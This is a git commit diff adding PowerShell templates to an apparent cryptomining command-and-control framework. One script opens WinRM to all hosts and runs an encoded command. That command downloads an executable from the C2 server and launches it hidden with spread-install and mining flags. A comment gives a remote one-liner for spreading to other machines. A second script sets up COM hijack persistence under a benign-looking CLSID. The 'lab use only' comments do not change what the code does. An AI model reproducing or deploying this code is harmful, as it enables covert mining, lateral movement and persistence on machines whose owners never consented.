Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
27
templates/spread/winrm/bootstrap.ps1
Normal file
27
templates/spread/winrm/bootstrap.ps1
Normal file
@@ -0,0 +1,27 @@
|
||||
# WinRM bootstrap — owned/lab machines only. Enable remoting + encoded agent registration.
|
||||
# Placeholders: {{SERVER_URL}} {{BUILD_ID}} {{CAMPAIGN}} {{QUERY_SUFFIX}} {{GET_QUERY_SUFFIX}}
|
||||
# Mining policy is NOT embedded — agent registers to C2 and pulls server config.
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
|
||||
function Enable-WinRMBootstrap {
|
||||
Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
|
||||
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force | Out-Null
|
||||
}
|
||||
|
||||
$bootstrap = @'
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
$dest = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName() + '.exe')
|
||||
try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 1 }
|
||||
if (-not (Test-Path $dest) -or (Get-Item $dest).Length -lt 1024) { exit 1 }
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
'@
|
||||
|
||||
Enable-WinRMBootstrap
|
||||
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bootstrap))
|
||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded
|
||||
|
||||
# Remote one-liner (run from jump box with creds):
|
||||
# Invoke-Command -ComputerName TARGET -ScriptBlock { powershell -EncodedCommand '<paste $encoded>' }
|
||||
23
templates/spread/winrm/com-hijack.ps1
Normal file
23
templates/spread/winrm/com-hijack.ps1
Normal file
@@ -0,0 +1,23 @@
|
||||
# OPTIONAL — COM hijack persistence under benign CLSID (owned machines only).
|
||||
# Default OFF. Enable only when {{COM_HIJACK}}=true in export or uncomment below.
|
||||
# Uses InprocServer32 redirect to agent binary — high visibility to EDR; lab use only.
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
|
||||
if ('{{COM_HIJACK}}' -ne 'true') {
|
||||
Write-Host 'COM hijack template disabled (COM_HIJACK not true).'
|
||||
exit 0
|
||||
}
|
||||
|
||||
# Benign CLSID: MMDeviceEnumerator (commonly present — replace with your lab-only choice)
|
||||
$clsid = '{BCDE0395-E52F-467C-8E3D-C4579291692E}'
|
||||
$agentPath = '{{AGENT_PATH}}'
|
||||
if (-not (Test-Path $agentPath)) {
|
||||
Write-Error "Agent path missing: $agentPath"
|
||||
exit 1
|
||||
}
|
||||
|
||||
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
|
||||
New-Item -Path $base -Force | Out-Null
|
||||
Set-ItemProperty -Path $base -Name '(Default)' -Value $agentPath
|
||||
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
|
||||
Write-Host "COM hijack registered under $clsid -> $agentPath"
|
||||
Reference in New Issue
Block a user